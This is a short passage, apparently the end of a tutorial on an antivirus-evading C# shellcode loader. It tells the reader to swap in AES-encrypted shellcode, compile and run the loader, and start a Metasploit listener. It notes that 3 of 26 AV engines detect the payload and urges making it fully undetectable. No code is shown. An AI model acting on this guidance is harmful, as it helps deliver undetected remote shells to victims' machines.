Now you change the “buf” array with the encrypted shell we acquired from previous program and compile the program and run it

Of course, make sure to start a lister on Metasploit:

At the time of writing this project, the payload is only detected by 3/26 Av engines:

I am a bit surprised that only 3 AV’s caught it, but you can enhance this project into making it completely undetectable:

Credits: some of the codes are taken from other open source projects

Reference:
https://www.c-sharpcorner.com/article/aes-encryption-in-c-sharp/

https://docs.microsoft.com/en-us/cpp/dotnet/how-to-call-native-dlls-from-managed-code-using-pinvoke?view=msvc-170